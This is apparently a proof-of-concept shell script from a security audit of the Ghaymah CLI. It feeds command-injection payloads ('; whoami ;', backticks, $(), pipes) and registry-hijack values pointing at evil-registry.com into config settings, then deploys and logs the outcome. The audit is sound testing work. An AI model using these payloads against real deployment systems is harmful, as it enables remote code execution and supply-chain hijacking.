Ziad Mahmoud Ahmed Abdelgwad
a7a479141b
Comprehensive security audit of the Ghaymah CLI v2 and web platform. Findings: - [CRITICAL] T1552: Dockerfile & .env Credential Leakage - [CRITICAL] OWASP A07: Missing OTP & Unverified Password Change - [HIGH] T1539: Session Token Revocation Bypass - [MED/HIGH] CWE-400: Configuration Poisoning DoS (Pipeline Hang) Includes: - 8 Proof-of-Concept applications (PoC_Apps/) - Visual evidence & screenshots (Assets/Screenshots/) - Full PDF audit report (Reports/) - Mermaid.js attack flow diagrams in README Auditor: Ziad Mahmoud Ahmed Abdelgwad — Cybersecurity Specialist
109 أسطر
3.8 KiB
Bash
109 أسطر
3.8 KiB
Bash
#!/bin/sh
|
|
|
|
GY="../gy-linux-amd64"
|
|
LOG_FILE="rce_test_results.log"
|
|
TIMEOUT_SEC=400
|
|
SYNC_TIMEOUT=120
|
|
SET_TIMEOUT=60
|
|
|
|
echo "========== بدء الاختبار: $(date) ==========" > "$LOG_FILE"
|
|
echo "" >> "$LOG_FILE"
|
|
|
|
run_with_timeout() {
|
|
cmd="$1"
|
|
timeout_sec="$2"
|
|
log_file="$3"
|
|
eval "$cmd" > "$log_file" 2>&1 &
|
|
pid=$!
|
|
elapsed=0
|
|
while kill -0 "$pid" 2>/dev/null && [ "$elapsed" -lt "$timeout_sec" ]; do
|
|
sleep 5
|
|
elapsed=$((elapsed + 5))
|
|
done
|
|
if kill -0 "$pid" 2>/dev/null; then
|
|
kill -9 "$pid" 2>/dev/null
|
|
return 124
|
|
else
|
|
wait "$pid"
|
|
return $?
|
|
fi
|
|
}
|
|
|
|
cat > /tmp/tests.list << 'EOL'
|
|
RCE_backticks|config set env "RCE_1=\`id\`"
|
|
RCE_semicolon|config set env "RCE_2=; whoami ;"
|
|
RCE_pipe|config set env "RCE_3=| whoami"
|
|
RCE_or|config set env "RCE_4=|| whoami"
|
|
RCE_ampersand|config set env "RCE_5=& whoami"
|
|
RCE_subshell_echo|config set env "RCE_6=\$(echo id)"
|
|
RCE_newline|config set env "RCE_7=\$'whoami\n'"
|
|
BUILDARG_semicolon|config set build-args "TEST_ARG=; whoami ;"
|
|
PORT_injection|config set port "8080; whoami"
|
|
REGISTRY_hijack|config set env "DOCKER_REGISTRY=evil-registry.com"
|
|
REGISTRY_hijack2|config set env "REGISTRY=evil-registry.com"
|
|
BASEIMAGE_hijack|config set env "BASE_IMAGE=evil-registry.com/evil-image:latest"
|
|
EOL
|
|
|
|
while IFS='|' read -r test_name config_cmd; do
|
|
echo "🔍 اختبار: $test_name"
|
|
echo "🔍 اختبار: $test_name" >> "$LOG_FILE"
|
|
|
|
echo " ▶️ $GY $config_cmd (تايم أوت ${SET_TIMEOUT}s)"
|
|
temp_log="/tmp/set_$$.log"
|
|
run_with_timeout "$GY $config_cmd" "$SET_TIMEOUT" "$temp_log"
|
|
set_exit=$?
|
|
cat "$temp_log" >> "$LOG_FILE"
|
|
rm -f "$temp_log"
|
|
if [ $set_exit -eq 124 ]; then
|
|
echo " ⏰ تعليق في config set - تايم أوت"
|
|
echo " ⏰ تعليق في config set - تايم أوت" >> "$LOG_FILE"
|
|
continue
|
|
elif [ $set_exit -ne 0 ]; then
|
|
echo " ❌ فشل config set برمز: $set_exit"
|
|
echo " ❌ فشل config set برمز: $set_exit" >> "$LOG_FILE"
|
|
continue
|
|
fi
|
|
|
|
echo " ▶️ $GY config sync (تايم أوت ${SYNC_TIMEOUT}s)"
|
|
temp_log="/tmp/sync_$$.log"
|
|
run_with_timeout "$GY config sync" "$SYNC_TIMEOUT" "$temp_log"
|
|
sync_exit=$?
|
|
cat "$temp_log" >> "$LOG_FILE"
|
|
rm -f "$temp_log"
|
|
if [ $sync_exit -eq 124 ]; then
|
|
echo " ⏰ تعليق في config sync - تايم أوت"
|
|
echo " ⏰ تعليق في config sync - تايم أوت" >> "$LOG_FILE"
|
|
continue
|
|
elif [ $sync_exit -ne 0 ]; then
|
|
echo " ❌ فشل config sync برمز: $sync_exit"
|
|
echo " ❌ فشل config sync برمز: $sync_exit" >> "$LOG_FILE"
|
|
continue
|
|
fi
|
|
|
|
echo " ▶️ $GY deploy (تايم أوت ${TIMEOUT_SEC}s)"
|
|
temp_log="/tmp/deploy_$$.log"
|
|
run_with_timeout "$GY deploy" "$TIMEOUT_SEC" "$temp_log"
|
|
deploy_exit=$?
|
|
cat "$temp_log" >> "$LOG_FILE"
|
|
rm -f "$temp_log"
|
|
if [ $deploy_exit -eq 124 ]; then
|
|
echo " ⏰ تعليق في deploy - تايم أوت"
|
|
echo " ⏰ تعليق في deploy - تايم أوت" >> "$LOG_FILE"
|
|
elif [ $deploy_exit -eq 0 ]; then
|
|
echo " ✅ انتهى deploy بنجاح (تحقق من اللوغ)"
|
|
echo " ✅ انتهى deploy بنجاح" >> "$LOG_FILE"
|
|
else
|
|
echo " ❌ فشل deploy برمز: $deploy_exit"
|
|
echo " ❌ فشل deploy برمز: $deploy_exit" >> "$LOG_FILE"
|
|
fi
|
|
|
|
echo "" >> "$LOG_FILE"
|
|
echo "--------------------------------------------------"
|
|
echo "" >> "$LOG_FILE"
|
|
done < /tmp/tests.list
|
|
|
|
rm -f /tmp/tests.list
|
|
|
|
echo "✅ انتهت جميع الاختبارات. النتائج محفوظة في $LOG_FILE"
|
|
echo "✅ انتهت جميع الاختبارات. النتائج محفوظة في $LOG_FILE" >> "$LOG_FILE"
|